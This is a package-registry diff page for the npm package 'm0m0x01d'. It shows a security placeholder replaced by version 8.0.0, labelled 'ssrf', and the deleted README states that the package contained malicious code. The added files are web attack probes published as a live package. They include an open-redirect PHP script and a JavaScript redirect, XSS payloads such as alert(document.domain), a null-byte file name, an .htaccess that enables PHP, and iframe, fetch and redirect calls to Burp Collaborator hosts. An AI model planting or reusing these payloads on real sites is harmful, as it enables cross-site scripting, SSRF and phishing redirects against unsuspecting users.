npm - m0m0x01d - Versions diffs - 0.0.1-security → 8.0.0 - Mend

m0m0x01d 0.0.1-security → 8.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.

This version of m0m0x01d might be problematic. Click here for more details.

Files changed (19) hide show

package/.htaccess ADDED Viewed

@@ -0,0 +1,8 @@
+<IfModule mod_php.c>
+    # Enable PHP execution
+    AddType application/x-httpd-php .php
+    AddHandler application/x-httpd-php .php
+</IfModule>
+# Ensure the PHP engine is enabled
+php_flag engine on

package/file.html ADDED Viewed

@@ -0,0 +1,13 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+  <meta charset="UTF-8">
+  <meta http-equiv="X-UA-Compatible" content="IE=edge">
+  <meta name="viewport" content="width=device-width, initial-scale=1.0">
+  <title>Redirecting...</title>
+  <meta http-equiv="refresh" content="0; url=https://40fe2e9f7b.ipv6.bypass.eu.org/">
+</head>
+<body>
+  <p>If you are not redirected automatically, <a href="https://40fe2e9f7b.ipv6.bypass.eu.org/">click here</a>.</p>
+</body>
+</html>

package/package.json CHANGED Viewed

@@ -1,6 +1,11 @@
 {
   "name": "m0m0x01d",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "8.0.0",
+  "description": "ssrf",
+  "main": "index.html",
+  "scripts": {
+    "test": "ls"
+  },
+  "author": "",
+  "license": "ISC"
 }

package/redirect.svg.html ADDED Viewed

@@ -0,0 +1,25 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>Redirect</title>
+    <script>
+        window.onload = function() {
+            // Get the URL query parameter
+            const urlParams = new URLSearchParams(window.location.search);
+            const targetUrl = urlParams.get('url');
+            // If a valid URL is provided, redirect to it
+            if (targetUrl) {
+                window.location.href = targetUrl;
+            } else {
+                document.body.innerHTML = "No URL provided for redirection.";
+            }
+        }
+    </script>
+</head>
+<body>
+</body>
+</html>

package/redirect.svg.php ADDED Viewed

@@ -0,0 +1,21 @@
+<?php
+// Get the target URL from the 'next_url' query parameter
+$next_url = isset($_GET['next_url']) ? $_GET['next_url'] : 'https://9lv13zw73wdy5t6hjxcpw5tz9qfh36.burpcollaborator.net';
+// Set the appropriate headers for the 302 redirect
+header("HTTP/1.1 302 Found");
+header("Location: $next_url");
+// Optional: Set additional headers if required
+header("Cache-Control: public, max-age=0");
+header("Set-Cookie: sites=; expires=Thu, 01 Jan 1970 00:00:00 GMT; Max-Age=0; Path=/");
+header("Set-Cookie: sessionid=; expires=Thu, 01 Jan 1970 00:00:00 GMT; Max-Age=0; Path=/");
+header("Strict-Transport-Security: max-age=31536000; includeSubDomains; preload");
+header("X-Frame-Options: SAMEORIGIN");
+header("X-XSS-Protection: 1; mode=block");
+header("X-Content-Type-Options: nosniff");
+header("Content-Security-Policy: frame-ancestors 'self'; base-uri 'self'; form-action 'self' https://*.example.com; upgrade-insecure-requests");
+// Ensure the connection is closed after the headers
+exit();

package/redirect2.svg.html ADDED Viewed

@@ -0,0 +1,11 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta http-equiv="refresh" content="0; url=https://www.example.com">
+    <title>Redirecting...</title>
+</head>
+<body>
+    <p>If you are not redirected automatically, follow this <a href="https://www.example.com">link to the new page</a>.</p>
+</body>
+</html>

package/test.html%00.pdf ADDED Viewed

	@@ -0,0 +1 @@
1	+ <script>alert(document.domain)</script>

package/test.pdf ADDED Viewed

Binary file

package/test.pdf.txt ADDED Viewed

	@@ -0,0 +1 @@
1	+ testing

package/test.php ADDED Viewed

@@ -0,0 +1,3 @@
+<?php
+    echo "m0m0x01d";
+?>

package/test.svg.html ADDED Viewed

	@@ -0,0 +1 @@
1	+ <script>alert(document.domain)</script>

package/test.svg.txt ADDED Viewed

	@@ -0,0 +1 @@
1	+ testing123

package/test.txt ADDED Viewed

	@@ -0,0 +1 @@
1	+ testing m0m0x01d

package/test.txt.pdf ADDED Viewed

	@@ -0,0 +1 @@
1	+ testing123

package/test2.txt.pdf ADDED Viewed

	@@ -0,0 +1 @@
1	+ <script>alert(1)</script>

package/testing.svg.html ADDED Viewed

	@@ -0,0 +1 @@
1	+ <iframe src="https://wttobm4ubjlldge4rkkc4s1mhdn3bs.burpcollaborator.net"></iframe>

package/xss.svg.html ADDED Viewed

@@ -0,0 +1,4 @@
+<script>
+    window.location.href = 'https://7bjztxm5tu3wvrwf9v2nm3jxzo5gt5.burpcollaborator.net';
+</script>

package/xss1.svg.html ADDED Viewed

@@ -0,0 +1,6 @@
+<script>
+    fetch('https://7bjztxm5tu3wvrwf9v2nm3jxzo5gt5.burpcollaborator.net/api').then(response => {
+        console.log(response);
+    });
+</script>

package/README.md DELETED Viewed

@@ -1,5 +0,0 @@
-# Security holding package
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-Please refer to www.npmjs.com/advisories?search=m0m0x01d for more information.